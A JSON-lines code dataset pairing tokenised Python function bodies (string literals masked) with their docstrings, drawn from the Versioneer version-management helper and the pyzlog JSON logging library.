"docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f3620:m6"}
{"signature": "def do_vcs_install(manifest_in, versionfile_source, ipy):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>files = [manifest_in, versionfile_source]<EOL>if ipy:<EOL><INDENT>files.append(ipy)<EOL><DEDENT>try:<EOL><INDENT>me = __file__<EOL>if me.endswith(\"<STR_LIT>\") or me.endswith(\"<STR_LIT>\"):<EOL><INDENT>me = os.path.splitext(me)[<NUM_LIT:0>] + \"<STR_LIT>\"<EOL><DEDENT>versioneer_file = os.path.relpath(me)<EOL><DEDENT>except NameError:<EOL><INDENT>versioneer_file = \"<STR_LIT>\"<EOL><DEDENT>files.append(versioneer_file)<EOL>present = False<EOL>try:<EOL><INDENT>f = open(\"<STR_LIT>\", \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(versionfile_source):<EOL><INDENT>if \"<STR_LIT>\" in line.strip().split()[<NUM_LIT:1>:]:<EOL><INDENT>present = True<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>if not present:<EOL><INDENT>f = open(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>f.write(\"<STR_LIT>\" % versionfile_source)<EOL>f.close()<EOL>files.append(\"<STR_LIT>\")<EOL><DEDENT>run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"] + files)<EOL>", "docstring": "Git-specific installation logic for Versioneer.\n\n    For Git, this means creating/changing .gitattributes to mark _version.py\n    for export-subst keyword substitution.", "id": "f3620:m7"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f3620:m8"}
{"signature": "def versions_from_file(filename):", "body": "try:<EOL><INDENT>with open(filename) as f:<EOL><INDENT>contents = f.read()<EOL><DEDENT><DEDENT>except EnvironmentError:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>mo = re.search(r\"<STR_LIT>\",<EOL>contents, re.M | re.S)<EOL>if not mo:<EOL><INDENT>mo = re.search(r\"<STR_LIT>\",<EOL>contents, re.M | re.S)<EOL><DEDENT>if not mo:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>return json.loads(mo.group(<NUM_LIT:1>))<EOL>", "docstring": "Try to determine the version from _version.py if present.", "id": "f3620:m9"}
{"signature": "def write_to_version_file(filename, versions):", "body": "os.unlink(filename)<EOL>contents = json.dumps(versions, sort_keys=True,<EOL>indent=<NUM_LIT:1>, separators=(\"<STR_LIT:U+002C>\", \"<STR_LIT>\"))<EOL>with open(filename, \"<STR_LIT:w>\") as f:<EOL><INDENT>f.write(SHORT_VERSION_PY % contents)<EOL><DEDENT>print(\"<STR_LIT>\" % (filename, versions[\"<STR_LIT:version>\"]))<EOL>", "docstring": "Write the given version number to the given _version.py file.", "id": "f3620:m10"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f3620:m11"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f3620:m12"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f3620:m13"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f3620:m14"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f3620:m15"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f3620:m16"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f3620:m17"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f3620:m18"}
{"signature": "def get_versions(verbose=False):", "body": "if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>del sys.modules[\"<STR_LIT>\"]<EOL><DEDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>assert cfg.VCS is not None, \"<STR_LIT>\"<EOL>handlers = HANDLERS.get(cfg.VCS)<EOL>assert handlers, \"<STR_LIT>\" % cfg.VCS<EOL>verbose = verbose or cfg.verbose<EOL>assert cfg.versionfile_source is not None,\"<STR_LIT>\"<EOL>assert cfg.tag_prefix is not None, \"<STR_LIT>\"<EOL>versionfile_abs = os.path.join(root, cfg.versionfile_source)<EOL>get_keywords_f = handlers.get(\"<STR_LIT>\")<EOL>from_keywords_f = handlers.get(\"<STR_LIT>\")<EOL>if get_keywords_f and from_keywords_f:<EOL><INDENT>try:<EOL><INDENT>keywords = get_keywords_f(versionfile_abs)<EOL>ver = from_keywords_f(keywords, cfg.tag_prefix, verbose)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % ver)<EOL><DEDENT>return ver<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>ver = versions_from_file(versionfile_abs)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (versionfile_abs, ver))<EOL><DEDENT>return ver<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>from_vcs_f = handlers.get(\"<STR_LIT>\")<EOL>if from_vcs_f:<EOL><INDENT>try:<EOL><INDENT>pieces = from_vcs_f(cfg.tag_prefix, root, verbose)<EOL>ver = render(pieces, cfg.style)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % ver)<EOL><DEDENT>return ver<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>ver = versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % ver)<EOL><DEDENT>return ver<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None, \"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL>", "docstring": "Get the project version from whatever source is available.\n\n    Returns dict with two keys: 'version' and 'full'.", "id": "f3620:m19"}
{"signature": "def get_version():", "body": "return get_versions()[\"<STR_LIT:version>\"]<EOL>", "docstring": "Get the short version string for this project.", "id": "f3620:m20"}
{"signature": "def get_cmdclass():", "body": "if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>del sys.modules[\"<STR_LIT>\"]<EOL><DEDENT>cmds = {}<EOL>from distutils.core import Command<EOL>class cmd_version(Command):<EOL><INDENT>description = \"<STR_LIT>\"<EOL>user_options = []<EOL>boolean_options = []<EOL>def initialize_options(self):<EOL><INDENT>pass<EOL><DEDENT>def finalize_options(self):<EOL><INDENT>pass<EOL><DEDENT>def run(self):<EOL><INDENT>vers = get_versions(verbose=True)<EOL>print(\"<STR_LIT>\" % vers[\"<STR_LIT:version>\"])<EOL>print(\"<STR_LIT>\" % vers.get(\"<STR_LIT>\"))<EOL>print(\"<STR_LIT>\" % vers.get(\"<STR_LIT>\"))<EOL>print(\"<STR_LIT>\" % vers.get(\"<STR_LIT:date>\"))<EOL>if vers[\"<STR_LIT:error>\"]:<EOL><INDENT>print(\"<STR_LIT>\" % vers[\"<STR_LIT:error>\"])<EOL><DEDENT><DEDENT><DEDENT>cmds[\"<STR_LIT:version>\"] = cmd_version<EOL>if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>from setuptools.command.build_py import build_py as _build_py<EOL><DEDENT>else:<EOL><INDENT>from distutils.command.build_py import build_py as _build_py<EOL><DEDENT>class cmd_build_py(_build_py):<EOL><INDENT>def run(self):<EOL><INDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>versions = get_versions()<EOL>_build_py.run(self)<EOL>if cfg.versionfile_build:<EOL><INDENT>target_versionfile = os.path.join(self.build_lib,<EOL>cfg.versionfile_build)<EOL>print(\"<STR_LIT>\" % target_versionfile)<EOL>write_to_version_file(target_versionfile, versions)<EOL><DEDENT><DEDENT><DEDENT>cmds[\"<STR_LIT>\"] = cmd_build_py<EOL>if \"<STR_LIT>\" in sys.modules:  <EOL><INDENT>from cx_Freeze.dist import build_exe as _build_exe<EOL>class cmd_build_exe(_build_exe):<EOL><INDENT>def run(self):<EOL><INDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>versions = get_versions()<EOL>target_versionfile = cfg.versionfile_source<EOL>print(\"<STR_LIT>\" % target_versionfile)<EOL>write_to_version_file(target_versionfile, versions)<EOL>_build_exe.run(self)<EOL>os.unlink(target_versionfile)<EOL>with open(cfg.versionfile_source, \"<STR_LIT:w>\") as f:<EOL><INDENT>LONG = LONG_VERSION_PY[cfg.VCS]<EOL>f.write(LONG %<EOL>{\"<STR_LIT>\": \"<STR_LIT:$>\",<EOL>\"<STR_LIT>\": cfg.style,<EOL>\"<STR_LIT>\": cfg.tag_prefix,<EOL>\"<STR_LIT>\": cfg.parentdir_prefix,<EOL>\"<STR_LIT>\": cfg.versionfile_source,<EOL>})<EOL><DEDENT><DEDENT><DEDENT>cmds[\"<STR_LIT>\"] = cmd_build_exe<EOL>del cmds[\"<STR_LIT>\"]<EOL><DEDENT>if '<STR_LIT>' in sys.modules:  <EOL><INDENT>try:<EOL><INDENT>from py2exe.distutils_buildexe import py2exe as _py2exe  <EOL><DEDENT>except ImportError:<EOL><INDENT>from py2exe.build_exe import py2exe as _py2exe  <EOL><DEDENT>class cmd_py2exe(_py2exe):<EOL><INDENT>def run(self):<EOL><INDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>versions = get_versions()<EOL>target_versionfile = cfg.versionfile_source<EOL>print(\"<STR_LIT>\" % target_versionfile)<EOL>write_to_version_file(target_versionfile, versions)<EOL>_py2exe.run(self)<EOL>os.unlink(target_versionfile)<EOL>with open(cfg.versionfile_source, \"<STR_LIT:w>\") as f:<EOL><INDENT>LONG = LONG_VERSION_PY[cfg.VCS]<EOL>f.write(LONG %<EOL>{\"<STR_LIT>\": \"<STR_LIT:$>\",<EOL>\"<STR_LIT>\": cfg.style,<EOL>\"<STR_LIT>\": cfg.tag_prefix,<EOL>\"<STR_LIT>\": cfg.parentdir_prefix,<EOL>\"<STR_LIT>\": cfg.versionfile_source,<EOL>})<EOL><DEDENT><DEDENT><DEDENT>cmds[\"<STR_LIT>\"] = cmd_py2exe<EOL><DEDENT>if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>from setuptools.command.sdist import sdist as _sdist<EOL><DEDENT>else:<EOL><INDENT>from distutils.command.sdist import sdist as _sdist<EOL><DEDENT>class cmd_sdist(_sdist):<EOL><INDENT>def run(self):<EOL><INDENT>versions = get_versions()<EOL>self._versioneer_generated_versions = versions<EOL>self.distribution.metadata.version = versions[\"<STR_LIT:version>\"]<EOL>return _sdist.run(self)<EOL><DEDENT>def make_release_tree(self, base_dir, files):<EOL><INDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>_sdist.make_release_tree(self, base_dir, files)<EOL>target_versionfile = os.path.join(base_dir, cfg.versionfile_source)<EOL>print(\"<STR_LIT>\" % target_versionfile)<EOL>write_to_version_file(target_versionfile,<EOL>self._versioneer_generated_versions)<EOL><DEDENT><DEDENT>cmds[\"<STR_LIT>\"] = cmd_sdist<EOL>return cmds<EOL>", "docstring": "Get the custom setuptools/distutils subclasses used by Versioneer.", "id": "f3620:m21"}
{"signature": "def do_setup():", "body": "root = get_root()<EOL>try:<EOL><INDENT>cfg = get_config_from_root(root)<EOL><DEDENT>except (EnvironmentError, configparser.NoSectionError,<EOL>configparser.NoOptionError) as e:<EOL><INDENT>if isinstance(e, (EnvironmentError, configparser.NoSectionError)):<EOL><INDENT>print(\"<STR_LIT>\",<EOL>file=sys.stderr)<EOL>with open(os.path.join(root, \"<STR_LIT>\"), \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(SAMPLE_CONFIG)<EOL><DEDENT><DEDENT>print(CONFIG_ERROR, file=sys.stderr)<EOL>return <NUM_LIT:1><EOL><DEDENT>print(\"<STR_LIT>\" % cfg.versionfile_source)<EOL>with open(cfg.versionfile_source, \"<STR_LIT:w>\") as f:<EOL><INDENT>LONG = LONG_VERSION_PY[cfg.VCS]<EOL>f.write(LONG % {\"<STR_LIT>\": \"<STR_LIT:$>\",<EOL>\"<STR_LIT>\": cfg.style,<EOL>\"<STR_LIT>\": cfg.tag_prefix,<EOL>\"<STR_LIT>\": cfg.parentdir_prefix,<EOL>\"<STR_LIT>\": cfg.versionfile_source,<EOL>})<EOL><DEDENT>ipy = os.path.join(os.path.dirname(cfg.versionfile_source),<EOL>\"<STR_LIT>\")<EOL>if os.path.exists(ipy):<EOL><INDENT>try:<EOL><INDENT>with open(ipy, \"<STR_LIT:r>\") as f:<EOL><INDENT>old = f.read()<EOL><DEDENT><DEDENT>except EnvironmentError:<EOL><INDENT>old = \"<STR_LIT>\"<EOL><DEDENT>if INIT_PY_SNIPPET not in old:<EOL><INDENT>print(\"<STR_LIT>\" % ipy)<EOL>with open(ipy, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(INIT_PY_SNIPPET)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % ipy)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % ipy)<EOL>ipy = None<EOL><DEDENT>manifest_in = os.path.join(root, \"<STR_LIT>\")<EOL>simple_includes = set()<EOL>try:<EOL><INDENT>with open(manifest_in, \"<STR_LIT:r>\") as f:<EOL><INDENT>for line in f:<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>for include in line.split()[<NUM_LIT:1>:]:<EOL><INDENT>simple_includes.add(include)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>if \"<STR_LIT>\" not in simple_includes:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>with open(manifest_in, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>if cfg.versionfile_source not in simple_includes:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>cfg.versionfile_source)<EOL>with open(manifest_in, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(\"<STR_LIT>\" % cfg.versionfile_source)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>do_vcs_install(manifest_in, cfg.versionfile_source, ipy)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Main VCS-independent setup function for installing Versioneer.", "id": "f3620:m22"}
{"signature": "def scan_setup_py():", "body": "found = set()<EOL>setters = False<EOL>errors = <NUM_LIT:0><EOL>with open(\"<STR_LIT>\", \"<STR_LIT:r>\") as f:<EOL><INDENT>for line in f.readlines():<EOL><INDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>found.add(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>found.add(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>found.add(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>setters = True<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>setters = True<EOL><DEDENT><DEDENT><DEDENT>if len(found) != <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>errors += <NUM_LIT:1><EOL><DEDENT>if setters:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>errors += <NUM_LIT:1><EOL><DEDENT>return errors<EOL>", "docstring": "Validate the contents of setup.py against Versioneer's expectations.", "id": "f3620:m23"}
{"signature": "def _default_json_default(obj):", "body": "if isinstance(obj, (datetime.datetime, datetime.date, datetime.time)):<EOL><INDENT>return obj.strftime(default_date_fmt)<EOL><DEDENT>else:<EOL><INDENT>return str(obj)<EOL><DEDENT>", "docstring": "Coerce everything to strings.\n    All objects representing time get output according to default_date_fmt.", "id": "f3624:m0"}
{"signature": "def init_logs(path=None,<EOL>target=None,<EOL>logger_name='<STR_LIT:root>',<EOL>level=logging.DEBUG,<EOL>maxBytes=<NUM_LIT:1>*<NUM_LIT>*<NUM_LIT>,<EOL>backupCount=<NUM_LIT:5>,<EOL>application_name='<STR_LIT:default>',<EOL>server_hostname=None,<EOL>fields=None):", "body": "log_file = os.path.abspath(<EOL>os.path.join(path, target))<EOL>logger = logging.getLogger(logger_name)<EOL>logger.setLevel(level)<EOL>handler = logging.handlers.RotatingFileHandler(<EOL>log_file, maxBytes=maxBytes, backupCount=backupCount)<EOL>handler.setLevel(level)<EOL>handler.setFormatter(<EOL>JsonFormatter(<EOL>application_name=application_name,<EOL>server_hostname=server_hostname,<EOL>fields=fields))<EOL>logger.addHandler(handler)<EOL>", "docstring": "Initialize the zlogger.\n\n    Sets up a rotating file handler to the specified path and file with\n    the given size and backup count limits, sets the default\n    application_name, server_hostname, and default/whitelist fields.\n\n    :param path: path to write the log file\n    :param target: name of the log file\n    :param logger_name: name of the logger (defaults to root)\n    :param level: log level for this logger (defaults to logging.DEBUG)\n    :param maxBytes: size of the file before rotation (default 1MB)\n    :param application_name: app name to add to each log entry\n    :param server_hostname: hostname to add to each log entry\n    :param fields: default/whitelist fields.\n    :type path: string\n    :type target: string\n    :type logger_name: string\n    :type level: int\n    :type maxBytes: int\n    :type backupCount: int\n    :type application_name: string\n    :type server_hostname: string\n    :type fields: dict", "id": "f3624:m1"}
{"signature": "@_log_fn()<EOL>def emergency(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level EMERGENCY", "id": "f3624:m4"}
{"signature": "@_log_fn()<EOL>def alert(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level ALERT", "id": "f3624:m5"}
{"signature": "@_log_fn()<EOL>def notice(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level NOTICE", "id": "f3624:m6"}
{"signature": "@_log_fn()<EOL>def info(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level INFO", "id": "f3624:m7"}
{"signature": "@_log_fn()<EOL>def warning(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level WARNING", "id": "f3624:m8"}
{"signature": "@_log_fn(exc_info=True)<EOL>def error(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level ERROR\n\n    exception info is added if it exists", "id": "f3624:m9"}
{"signature": "@_log_fn()<EOL>def critical(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level CRITICAL", "id": "f3624:m10"}
{"signature": "@_log_fn()<EOL>def debug(**kwargs):", "body": "pass<EOL>", "docstring": "log with pyzlog level DEBUG", "id": "f3624:m11"}
{"signature": "def remove_log(self, path=None, target=None):", "body": "path = path if path is not None else self.path<EOL>target = target if target is not None else self.target<EOL>try:<EOL><INDENT>os.remove(os.path.abspath(os.path.join(path, target)))<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "remove the specified log file.\n\n        Generally called in setUp and tearDown methods to ensure\n        isolation.  If path or target are not specified, will default to\n        path and target properties on the object.\n\n        :param path: path to find the log file\n        :param target: name of the log file\n        :type path: string\n        :type target: string", "id": "f3624:c0:m0"}
{"signature": "def get_log_messages(self, path=None, target=None):", "body": "path = path if path is not None else self.path<EOL>target = target if target is not None else self.target<EOL>with open(os.path.abspath(os.path.join(path, target))) as f:<EOL><INDENT>return f.readlines()<EOL><DEDENT>", "docstring": "fetch all log entries in the given file\n\n        Intended to be used to assert that the expected entries were\n        written out to the correct log file. If path or target are not\n        specified, will default to path and target properties on the\n        object.\n\n        :param path: path to find the log file\n        :param target: name of the log file\n        :type path: string\n        :type target: string", "id": "f3624:c0:m1"}
{"signature": "def init_logs(self, path=None, target=None, level=None,<EOL>server_hostname=None, extra=None):", "body": "path = path if path is not None else self.path<EOL>target = target if target is not None else self.target<EOL>level = level if level is not None else logging.DEBUG<EOL>server_hostname = (server_hostname if server_hostname is not None<EOL>else '<STR_LIT:localhost>')<EOL>extra = extra if extra is not None else {'<STR_LIT>': None}<EOL>init_logs(path=path, target=target, level=level,<EOL>server_hostname=server_hostname, fields=extra)<EOL>", "docstring": "Simple canned way to initialize pyzlog.\n\n        Initialize pyslog for tests. If path or target are not\n        specified, will default to path and target properties on the\n        object. leve will default to logging.DEBUG, server_hostname\n        defaults to localhost, and extra defaults to {'extra': None}\n\n        :param path: path to find the log file\n        :param target: name of the log file\n        :param level: log level for this instance\n        :param server_hostname: hostname to put in each entry\n        :param extra: whitelist/defaults of extra fields to add to each entry\n        :type path: string\n        :type target: string\n        :type level: int\n        :type server_hostname: string\n        :type extra: dict", "id": "f3624:c0:m2"}
